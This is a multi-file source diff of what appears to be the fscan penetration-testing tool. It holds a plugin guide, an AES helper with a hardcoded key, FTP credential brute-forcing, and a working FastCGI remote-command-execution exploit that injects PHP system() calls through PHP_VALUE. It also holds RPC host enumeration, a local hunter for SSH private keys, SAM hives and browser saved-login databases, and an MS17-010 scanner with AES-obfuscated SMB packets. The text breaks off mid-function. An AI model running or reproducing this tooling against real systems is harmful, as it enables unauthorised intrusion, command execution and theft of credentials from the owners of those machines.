if info == nil {
return errors.New("Invalid host info")
}
// 2. 实现扫描逻辑
result, err := doScan(info)
if err != nil {
return err
}
// 3. 处理结果
if result.Vulnerable {
Common.LogSuccess(fmt.Sprintf("[+] Found vulnerability in %s:%d", info.Host, info.Port))
}
return nil
}
```
## 2. 注册插件
`Core/Registry.go` 中注册你的插件:
```go
Common.RegisterPlugin("myplugin", Common.ScanPlugin{
Name: "MyPlugin",
Port: 12345, // 指定端口,如果是web类插件可设为0
ScanFunc: Plugins.MyPluginScan,
})
```
## 3. 开发规范
### 插件结构
- 每个插件应当是独立的功能模块
- 使用清晰的函数名和变量名
- 添加必要的注释说明功能和实现逻辑
### 错误处理
```go
// 推荐的错误处理方式
if err != nil {
return fmt.Errorf("plugin_name scan error: %v", err)
}
```
### 日志输出
```go
// 使用内置的日志函数
Common.LogSuccess("发现漏洞")
Common.LogError("扫描错误")
```
## 4. 测试验证
- 编译整个项目确保无错误
- 实际环境测试插件功能
- 验证与其他插件的兼容性
## 5. 提交流程
1. Fork 项目仓库
2. 创建功能分支
3. 提交代码更改
4. 编写清晰的提交信息
5. 创建 Pull Request
## 注意事项
- 遵循 Go 编码规范
- 保证代码可读性和可维护性
- 禁止提交恶意代码
- 做好异常处理和超时控制
- 避免过度消耗系统资源
- 注意信息安全,不要泄露敏感数据
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2021 shadow1ng
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+127
View File
@@ -0,0 +1,127 @@
package Plugins
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"errors"
"fmt"
"net"
)
// ReadBytes 从连接读取数据直到EOF或错误
func ReadBytes(conn net.Conn) ([]byte, error) {
size := 4096 // 缓冲区大小
buf := make([]byte, size)
var result []byte
var lastErr error
// 循环读取数据
for {
count, err := conn.Read(buf)
if err != nil {
lastErr = err
break
}
result = append(result, buf[0:count]...)
// 如果读取的数据小于缓冲区,说明已经读完
if count < size {
break
}
}
// 如果读到了数据,则忽略错误
if len(result) > 0 {
return result, nil
}
return result, lastErr
}
// 默认AES加密密钥
var key = "0123456789abcdef"
// AesEncrypt 使用AES-CBC模式加密字符串
func AesEncrypt(orig string, key string) (string, error) {
// 转为字节数组
origData := []byte(orig)
keyBytes := []byte(key)
// 创建加密块,要求密钥长度必须为16/24/32字节
block, err := aes.NewCipher(keyBytes)
if err != nil {
return "", fmt.Errorf("[-] 创建加密块失败: %v", err)
}
// 获取块大小并填充数据
blockSize := block.BlockSize()
origData = PKCS7Padding(origData, blockSize)
// 创建CBC加密模式
blockMode := cipher.NewCBCEncrypter(block, keyBytes[:blockSize])
// 加密数据
encrypted := make([]byte, len(origData))
blockMode.CryptBlocks(encrypted, origData)
// base64编码
return base64.StdEncoding.EncodeToString(encrypted), nil
}
// AesDecrypt 使用AES-CBC模式解密字符串
func AesDecrypt(crypted string, key string) (string, error) {
// base64解码
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
if err != nil {
return "", fmt.Errorf("[-] base64解码失败: %v", err)
}
keyBytes := []byte(key)
// 创建解密块
block, err := aes.NewCipher(keyBytes)
if err != nil {
return "", fmt.Errorf("[-] 创建解密块失败: %v", err)
}
// 创建CBC解密模式
blockSize := block.BlockSize()
blockMode := cipher.NewCBCDecrypter(block, keyBytes[:blockSize])
// 解密数据
origData := make([]byte, len(cryptedBytes))
blockMode.CryptBlocks(origData, cryptedBytes)
// 去除填充
origData, err = PKCS7UnPadding(origData)
if err != nil {
return "", fmt.Errorf("[-] 去除PKCS7填充失败: %v", err)
}
return string(origData), nil
}
// PKCS7Padding 对数据进行PKCS7填充
func PKCS7Padding(data []byte, blockSize int) []byte {
padding := blockSize - len(data)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(data, padtext...)
}
// PKCS7UnPadding 去除PKCS7填充
func PKCS7UnPadding(data []byte) ([]byte, error) {
length := len(data)
if length == 0 {
return nil, errors.New("[-] 数据长度为0")
}
padding := int(data[length-1])
if padding > length {
return nil, errors.New("[-] 填充长度无效")
}
return data[:length-padding], nil
}
+92
View File
@@ -0,0 +1,92 @@
package Plugins
import (
"fmt"
"github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
// FtpScan 执行FTP服务扫描
func FtpScan(info *Common.HostInfo) (tmperr error) {
// 如果已开启暴力破解则直接返回
if Common.IsBrute {
return
}
starttime := time.Now().Unix()
// 尝试匿名登录
flag, err := FtpConn(info, "anonymous", "")
if flag && err == nil {
return err
}
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err)
Common.LogError(errlog)
tmperr = err
if Common.CheckErrs(err) {
return err
}
// 尝试用户名密码组合
for _, user := range Common.Userdict["ftp"] {
for _, pass := range Common.Passwords {
// 替换密码中的用户名占位符
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := FtpConn(info, user, pass)
if flag && err == nil {
return err
}
// 记录错误信息
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
Common.LogError(errlog)
tmperr = err
if Common.CheckErrs(err) {
return err
}
// 超时检查
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["ftp"])*len(Common.Passwords)) * Common.Timeout) {
return err
}
}
}
return tmperr
}
// FtpConn 建立FTP连接并尝试登录
func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err error) {
Host, Port, Username, Password := info.Host, info.Ports, user, pass
// 建立FTP连接
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(Common.Timeout)*time.Second)
if err != nil {
return false, err
}
// 尝试登录
if err = conn.Login(Username, Password); err != nil {
return false, err
}
// 登录成功,获取目录信息
result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password)
dirs, err := conn.List("")
if err == nil && len(dirs) > 0 {
// 最多显示前6个目录
for i := 0; i < len(dirs) && i < 6; i++ {
name := dirs[i].Name
if len(name) > 50 {
name = name[:50]
}
result += "\n [->]" + name
}
}
Common.LogSuccess(result)
return true, nil
}
+375
View File
@@ -0,0 +1,375 @@
package Plugins
import (
"bufio"
"bytes"
"encoding/binary"
"errors"
"fmt"
"github.com/shadow1ng/fscan/Common"
"io"
"strconv"
"strings"
"sync"
"time"
)
//links
//https://xz.aliyun.com/t/9544
//https://github.com/wofeiwo/webcgi-exploits
// FcgiScan 执行FastCGI服务器漏洞扫描
func FcgiScan(info *Common.HostInfo) error {
// 如果设置了暴力破解模式则跳过
if Common.IsBrute {
return nil
}
// 设置目标URL路径
url := "/etc/issue"
if Common.Path != "" {
url = Common.Path
}
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
// 构造PHP命令注入代码
var reqParams string
var cutLine = "-----ASDGTasdkk361363s-----\n" // 用于分割命令输出的标记
switch {
case Common.Command == "read":
reqParams = "" // 读取模式
case Common.Command != "":
reqParams = fmt.Sprintf("<?php system('%s');die('%s');?>", Common.Command, cutLine) // 自定义命令
default:
reqParams = fmt.Sprintf("<?php system('whoami');die('%s');?>", cutLine) // 默认执行whoami
}
// 设置FastCGI环境变量
env := map[string]string{
"SCRIPT_FILENAME": url,
"DOCUMENT_ROOT": "/",
"SERVER_SOFTWARE": "go / fcgiclient ",
"REMOTE_ADDR": "127.0.0.1",
"SERVER_PROTOCOL": "HTTP/1.1",
}
// 根据请求类型设置对应的环境变量
if len(reqParams) != 0 {
env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
env["REQUEST_METHOD"] = "POST"
env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input"
} else {
env["REQUEST_METHOD"] = "GET"
}
// 建立FastCGI连接
fcgi, err := New(addr, Common.Timeout)
defer func() {
if fcgi.rwc != nil {
fcgi.rwc.Close()
}
}()
if err != nil {
fmt.Printf("[!] FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err)
return err
}
// 发送FastCGI请求
stdout, stderr, err := fcgi.Request(env, reqParams)
if err != nil {
fmt.Printf("[!] FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err)
return err
}
// 处理响应结果
output := string(stdout)
var result string
if strings.Contains(output, cutLine) {
// 命令执行成功,提取输出结果
output = strings.SplitN(output, cutLine, 2)[0]
if len(stderr) > 0 {
result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php",
info.Host, info.Ports, output, string(stderr))
} else {
result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v",
info.Host, info.Ports, output)
}
Common.LogSuccess(result)
} else if strings.Contains(output, "File not found") ||
strings.Contains(output, "Content-type") ||
strings.Contains(output, "Status") {
// 目标存在FastCGI服务但可能路径错误
if len(stderr) > 0 {
result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php",
info.Host, info.Ports, output, string(stderr))
} else {
result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v",
info.Host, info.Ports, output)
}
Common.LogSuccess(result)
}
return nil
}
// for padding so we don't have to allocate all the time
// not synchronized because we don't care what the contents are
var pad [maxPad]byte
const (
FCGI_BEGIN_REQUEST uint8 = iota + 1
FCGI_ABORT_REQUEST
FCGI_END_REQUEST
FCGI_PARAMS
FCGI_STDIN
FCGI_STDOUT
FCGI_STDERR
)
const (
FCGI_RESPONDER uint8 = iota + 1
)
const (
maxWrite = 6553500 // maximum record body
maxPad = 255
)
type header struct {
Version uint8
Type uint8
Id uint16
ContentLength uint16
PaddingLength uint8
Reserved uint8
}
func (h *header) init(recType uint8, reqId uint16, contentLength int) {
h.Version = 1
h.Type = recType
h.Id = reqId
h.ContentLength = uint16(contentLength)
h.PaddingLength = uint8(-contentLength & 7)
}
type record struct {
h header
buf [maxWrite + maxPad]byte
}
func (rec *record) read(r io.Reader) (err error) {
if err = binary.Read(r, binary.BigEndian, &rec.h); err != nil {
return err
}
if rec.h.Version != 1 {
return errors.New("fcgi: invalid header version")
}
n := int(rec.h.ContentLength) + int(rec.h.PaddingLength)
if _, err = io.ReadFull(r, rec.buf[:n]); err != nil {
return err
}
return nil
}
func (r *record) content() []byte {
return r.buf[:r.h.ContentLength]
}
type FCGIClient struct {
mutex sync.Mutex
rwc io.ReadWriteCloser
h header
buf bytes.Buffer
keepAlive bool
}
func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second)
fcgi = &FCGIClient{
rwc: conn,
keepAlive: false,
}
return
}
func (c *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
c.mutex.Lock()
defer c.mutex.Unlock()
c.buf.Reset()
c.h.init(recType, reqId, len(content))
if err := binary.Write(&c.buf, binary.BigEndian, c.h); err != nil {
return err
}
if _, err := c.buf.Write(content); err != nil {
return err
}
if _, err := c.buf.Write(pad[:c.h.PaddingLength]); err != nil {
return err
}
_, err = c.rwc.Write(c.buf.Bytes())
return err
}
func (c *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
b := [8]byte{byte(role >> 8), byte(role), flags}
return c.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
}
func (c *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error {
b := make([]byte, 8)
binary.BigEndian.PutUint32(b, uint32(appStatus))
b[4] = protocolStatus
return c.writeRecord(FCGI_END_REQUEST, reqId, b)
}
func (c *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
w := newWriter(c, recType, reqId)
b := make([]byte, 8)
for k, v := range pairs {
n := encodeSize(b, uint32(len(k)))
n += encodeSize(b[n:], uint32(len(v)))
if _, err := w.Write(b[:n]); err != nil {
return err
}
if _, err := w.WriteString(k); err != nil {
return err
}
if _, err := w.WriteString(v); err != nil {
return err
}
}
w.Close()
return nil
}
func readSize(s []byte) (uint32, int) {
if len(s) == 0 {
return 0, 0
}
size, n := uint32(s[0]), 1
if size&(1<<7) != 0 {
if len(s) < 4 {
return 0, 0
}
n = 4
size = binary.BigEndian.Uint32(s)
size &^= 1 << 31
}
return size, n
}
func readString(s []byte, size uint32) string {
if size > uint32(len(s)) {
return ""
}
return string(s[:size])
}
func encodeSize(b []byte, size uint32) int {
if size > 127 {
size |= 1 << 31
binary.BigEndian.PutUint32(b, size)
return 4
}
b[0] = byte(size)
return 1
}
// bufWriter encapsulates bufio.Writer but also closes the underlying stream when
// Closed.
type bufWriter struct {
closer io.Closer
*bufio.Writer
}
func (w *bufWriter) Close() error {
if err := w.Writer.Flush(); err != nil {
w.closer.Close()
return err
}
return w.closer.Close()
}
func newWriter(c *FCGIClient, recType uint8, reqId uint16) *bufWriter {
s := &streamWriter{c: c, recType: recType, reqId: reqId}
w := bufio.NewWriterSize(s, maxWrite)
return &bufWriter{s, w}
}
// streamWriter abstracts out the separation of a stream into discrete records.
// It only writes maxWrite bytes at a time.
type streamWriter struct {
c *FCGIClient
recType uint8
reqId uint16
}
func (w *streamWriter) Write(p []byte) (int, error) {
nn := 0
for len(p) > 0 {
n := len(p)
if n > maxWrite {
n = maxWrite
}
if err := w.c.writeRecord(w.recType, w.reqId, p[:n]); err != nil {
return nn, err
}
nn += n
p = p[n:]
}
return nn, nil
}
func (w *streamWriter) Close() error {
// send empty record to close the stream
return w.c.writeRecord(w.recType, w.reqId, nil)
}
func (c *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
var reqId uint16 = 1
defer c.rwc.Close()
err = c.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
if err != nil {
return
}
err = c.writePairs(FCGI_PARAMS, reqId, env)
if err != nil {
return
}
if len(reqStr) > 0 {
err = c.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
if err != nil {
return
}
}
rec := &record{}
var err1 error
// recive untill EOF or FCGI_END_REQUEST
for {
err1 = rec.read(c.rwc)
if err1 != nil {
if err1 != io.EOF {
err = err1
}
break
}
switch {
case rec.h.Type == FCGI_STDOUT:
retout = append(retout, rec.content()...)
case rec.h.Type == FCGI_STDERR:
reterr = append(reterr, rec.content()...)
case rec.h.Type == FCGI_END_REQUEST:
fallthrough
default:
break
}
}
return
}
+162
View File
@@ -0,0 +1,162 @@
package Plugins
import (
"bytes"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/Common"
"strconv"
"strings"
"time"
)
var (
// RPC请求数据包
bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
bufferV3, _ = hex.DecodeString("0900ffff0000")
)
// Findnet 探测Windows网络主机信息的入口函数
func Findnet(info *Common.HostInfo) error {
return FindnetScan(info)
}
// FindnetScan 通过RPC协议扫描网络主机信息
func FindnetScan(info *Common.HostInfo) error {
// 连接目标RPC端口
target := fmt.Sprintf("%s:%v", info.Host, 135)
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second)
if err != nil {
return fmt.Errorf("[-] 连接RPC端口失败: %v", err)
}
defer conn.Close()
// 设置连接超时
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return fmt.Errorf("[-] 设置超时失败: %v", err)
}
// 发送第一个RPC请求
if _, err = conn.Write(bufferV1); err != nil {
return fmt.Errorf("[-] 发送RPC请求1失败: %v", err)
}
// 读取响应
reply := make([]byte, 4096)
if _, err = conn.Read(reply); err != nil {
return fmt.Errorf("[-] 读取RPC响应1失败: %v", err)
}
// 发送第二个RPC请求
if _, err = conn.Write(bufferV2); err != nil {
return fmt.Errorf("[-] 发送RPC请求2失败: %v", err)
}
// 读取并检查响应
n, err := conn.Read(reply)
if err != nil || n < 42 {
return fmt.Errorf("[-] 读取RPC响应2失败: %v", err)
}
// 解析响应数据
text := reply[42:]
found := false
for i := 0; i < len(text)-5; i++ {
if bytes.Equal(text[i:i+6], bufferV3) {
text = text[:i-4]
found = true
break
}
}
if !found {
fmt.Println("[+] FindNet扫描模块结束...")
return fmt.Errorf("[-] 未找到有效的响应标记")
}
// 解析主机信息
return read(text, info.Host)
}
// HexUnicodeStringToString 将16进制Unicode字符串转换为可读字符串
func HexUnicodeStringToString(src string) string {
// 确保输入长度是4的倍数
if len(src)%4 != 0 {
src += src[:len(src)-len(src)%4]
}
// 转换为标准Unicode格式
var sText string
for i := 0; i < len(src); i += 4 {
sText += "\\u" + src[i+2:i+4] + src[i:i+2] // 调整字节顺序
}
// 解析每个Unicode字符
unicodeChars := strings.Split(sText, "\\u")
var result string
for _, char := range unicodeChars {
// 跳过空字符
if len(char) < 1 {
continue
}
// 将16进制转换为整数
codePoint, err := strconv.ParseInt(char, 16, 32)
if err != nil {
return ""
}
// 转换为实际字符
result += fmt.Sprintf("%c", codePoint)
}
return result
}
// read 解析并显示主机网络信息
func read(text []byte, host string) error {
// 将原始数据转换为16进制字符串
encodedStr := hex.EncodeToString(text)
// 解析主机名
var hostName string
for i := 0; i < len(encodedStr)-4; i += 4 {
if encodedStr[i:i+4] == "0000" {
break
}
hostName += encodedStr[i : i+4]
}
// 转换主机名为可读字符串
name := HexUnicodeStringToString(hostName)
// 解析网络信息
netInfo := strings.Replace(encodedStr, "0700", "", -1)
hosts := strings.Split(netInfo, "000000")
hosts = hosts[1:] // 跳过第一个空元素
// 构造输出结果
result := fmt.Sprintf("[*] NetInfo\n[*] %s", host)
if name != "" {
result += fmt.Sprintf("\n [->] %s", name)
}
// 解析每个网络主机信息
for _, h := range hosts {
// 移除填充字节
h = strings.Replace(h, "00", "", -1)
// 解码主机信息
hostInfo, err := hex.DecodeString(h)
if err != nil {
return fmt.Errorf("[-] 解码主机信息失败: %v", err)
}
result += fmt.Sprintf("\n [->] %s", string(hostInfo))
}
// 输出结果
Common.LogSuccess(result)
return nil
}
+213
View File
@@ -0,0 +1,213 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"os"
"path/filepath"
"runtime"
"strings"
)
var (
blacklist = []string{
".exe", ".dll", ".png", ".jpg", ".bmp", ".xml", ".bin",
".dat", ".manifest", "locale", "winsxs", "windows\\sys",
}
whitelist = []string{
"密码", "账号", "账户", "配置", "服务器",
"数据库", "备忘", "常用", "通讯录",
}
// Linux系统关键配置文件
linuxSystemPaths = []string{
// Apache配置
"/etc/apache/httpd.conf",
"/etc/httpd/conf/httpd.conf",
"/etc/httpd/httpd.conf",
"/usr/local/apache/conf/httpd.conf",
"/home/httpd/conf/httpd.conf",
"/usr/local/apache2/conf/httpd.conf",
"/usr/local/httpd/conf/httpd.conf",
"/etc/apache2/sites-available/000-default.conf",
"/etc/apache2/sites-enabled/*",
"/etc/apache2/sites-available/*",
"/etc/apache2/apache2.conf",
// Nginx配置
"/etc/nginx/nginx.conf",
"/etc/nginx/conf.d/nginx.conf",
// 系统配置文件
"/etc/hosts.deny",
"/etc/bashrc",
"/etc/issue",
"/etc/issue.net",
"/etc/ssh/ssh_config",
"/etc/termcap",
"/etc/xinetd.d/*",
"/etc/mtab",
"/etc/vsftpd/vsftpd.conf",
"/etc/xinetd.conf",
"/etc/protocols",
"/etc/logrotate.conf",
"/etc/ld.so.conf",
"/etc/resolv.conf",
"/etc/sysconfig/network",
"/etc/sendmail.cf",
"/etc/sendmail.cw",
// proc信息
"/proc/mounts",
"/proc/cpuinfo",
"/proc/meminfo",
"/proc/self/environ",
"/proc/1/cmdline",
"/proc/1/mountinfo",
"/proc/1/fd/*",
"/proc/1/exe",
"/proc/config.gz",
// 用户配置文件
"/root/.ssh/authorized_keys",
"/root/.ssh/id_rsa",
"/root/.ssh/id_rsa.keystore",
"/root/.ssh/id_rsa.pub",
"/root/.ssh/known_hosts",
"/root/.bash_history",
"/root/.mysql_history",
}
// Windows系统关键配置文件
windowsSystemPaths = []string{
"C:\\boot.ini",
"C:\\windows\\systems32\\inetsrv\\MetaBase.xml",
"C:\\windows\\repair\\sam",
"C:\\windows\\system32\\config\\sam",
}
)
func LocalInfoScan(info *Common.HostInfo) (err error) {
fmt.Println("[+] LocalInfo扫描模块开始...")
home, err := os.UserHomeDir()
if err != nil {
errlog := fmt.Sprintf("[-] Get UserHomeDir error: %v", err)
Common.LogError(errlog)
return err
}
// 扫描固定位置
scanFixedLocations(home)
// 规则搜索
searchSensitiveFiles()
fmt.Println("[+] LocalInfo扫描模块结束...")
return nil
}
func scanFixedLocations(home string) {
var paths []string
switch runtime.GOOS {
case "windows":
// 添加Windows固定路径
paths = append(paths, windowsSystemPaths...)
paths = append(paths, []string{
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Local State"),
filepath.Join(home, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
filepath.Join(home, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
}...)
case "linux":
// 添加Linux固定路径
paths = append(paths, linuxSystemPaths...)
paths = append(paths, []string{
filepath.Join(home, ".config", "google-chrome", "Default", "Login Data"),
filepath.Join(home, ".mozilla", "firefox"),
}...)
}
for _, path := range paths {
// 处理通配符路径
if strings.Contains(path, "*") {
var _ = strings.ReplaceAll(path, "*", "")
if files, err := filepath.Glob(path); err == nil {
for _, file := range files {
checkAndLogFile(file)
}
}
continue
}
checkAndLogFile(path)
}
}
func checkAndLogFile(path string) {
if _, err := os.Stat(path); err == nil {
result := fmt.Sprintf("[+] Found sensitive file: %s", path)
Common.LogSuccess(result)
}
}
func searchSensitiveFiles() {
var searchPaths []string
switch runtime.GOOS {
case "windows":
// Windows下常见的敏感目录
home, _ := os.UserHomeDir()
searchPaths = []string{
"C:\\Users\\Public\\Documents",
"C:\\Users\\Public\\Desktop",
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
"C:\\Program Files",
"C:\\Program Files (x86)",
}
case "linux":
// Linux下常见的敏感目录
home, _ := os.UserHomeDir()
searchPaths = []string{
"/home",
"/opt",
"/usr/local",
"/var/www",
"/var/log",
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
}
}
// 在限定目录下搜索
for _, searchPath := range searchPaths {
filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error {
if err != nil {
return nil
}
// 跳过黑名单目录和文件
for _, black := range blacklist {
if strings.Contains(strings.ToLower(path), black) {
return filepath.SkipDir
}
}
// 检查白名单关键词
for _, white := range whitelist {
fileName := strings.ToLower(info.Name())
if strings.Contains(fileName, white) {
result := fmt.Sprintf("[+] Found potential sensitive file: %s", path)
Common.LogSuccess(result)
break
}
}
return nil
})
}
}
File diff suppressed because it is too large Load Diff
+231
View File
@@ -0,0 +1,231 @@
package Plugins
import (
"encoding/binary"
"encoding/hex"
"errors"
"fmt"
"github.com/shadow1ng/fscan/Common"
"log"
"strings"
"time"
)
var (
// SMB协议加密的请求数据
negotiateProtocolRequest_enc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD"
sessionSetupRequest_enc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8"
treeConnectRequest_enc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg=="
transNamedPipeRequest_enc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA=="
trans2SessionSetupRequest_enc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk="
// SMB协议解密后的请求数据
negotiateProtocolRequest []byte
sessionSetupRequest []byte
treeConnectRequest []byte
transNamedPipeRequest []byte
trans2SessionSetupRequest []byte
)
func init() {
var err error
// 解密协议请求
decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key)
if err != nil {
log.Fatalf("解密协议请求失败: %v", err)
}
negotiateProtocolRequest, err = hex.DecodeString(decrypted)
if err != nil {
log.Fatalf("解码协议请求失败: %v", err)
}
// 解密会话请求
decrypted, err = AesDecrypt(sessionSetupRequest_enc, key)
if err != nil {
log.Fatalf("解密会话请求失败: %v", err)
}
sessionSetupRequest, err = hex.DecodeString(decrypted)
if err != nil {
log.Fatalf("解码会话请求失败: %v", err)
}
// 解密连接请求
decrypted, err = AesDecrypt(treeConnectRequest_enc, key)
if err != nil {
log.Fatalf("解密连接请求失败: %v", err)
}
treeConnectRequest, err = hex.DecodeString(decrypted)
if err != nil {
log.Fatalf("解码连接请求失败: %v", err)
}
// 解密管道请求
decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key)
if err != nil {
log.Fatalf("解密管道请求失败: %v", err)
}
transNamedPipeRequest, err = hex.DecodeString(decrypted)
if err != nil {
log.Fatalf("解码管道请求失败: %v", err)
}
// 解密会话设置请求
decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key)
if err != nil {
log.Fatalf("解密会话设置请求失败: %v", err)
}
trans2SessionSetupRequest, err = hex.DecodeString(decrypted)
if err != nil {
log.Fatalf("解码会话设置请求失败: %v", err)
}
}
// MS17010 扫描入口函数
func MS17010(info *Common.HostInfo) error {
// 暴力破解模式下跳过扫描
if Common.IsBrute {
return nil
}
// 执行MS17-010漏洞扫描
err := MS17010Scan(info)
if err != nil {
Common.LogError(fmt.Sprintf("[-] MS17010 %v %v", info.Host, err))
}
return err
}
// MS17010Scan 执行MS17-010漏洞扫描
func MS17010Scan(info *Common.HostInfo) error {
ip := info.Host
// 连接目标445端口
conn, err := Common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(Common.Timeout)*time.Second)
if err != nil {
return err
}
defer conn.Close()
// 设置连接超时
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return err
}
// 发送SMB协议协商请求
if _, err = conn.Write(negotiateProtocolRequest); err != nil {
return err
}
// 读取响应
reply := make([]byte, 1024)
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
}
// 检查协议响应状态
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
return err
}
// 发送会话建立请求
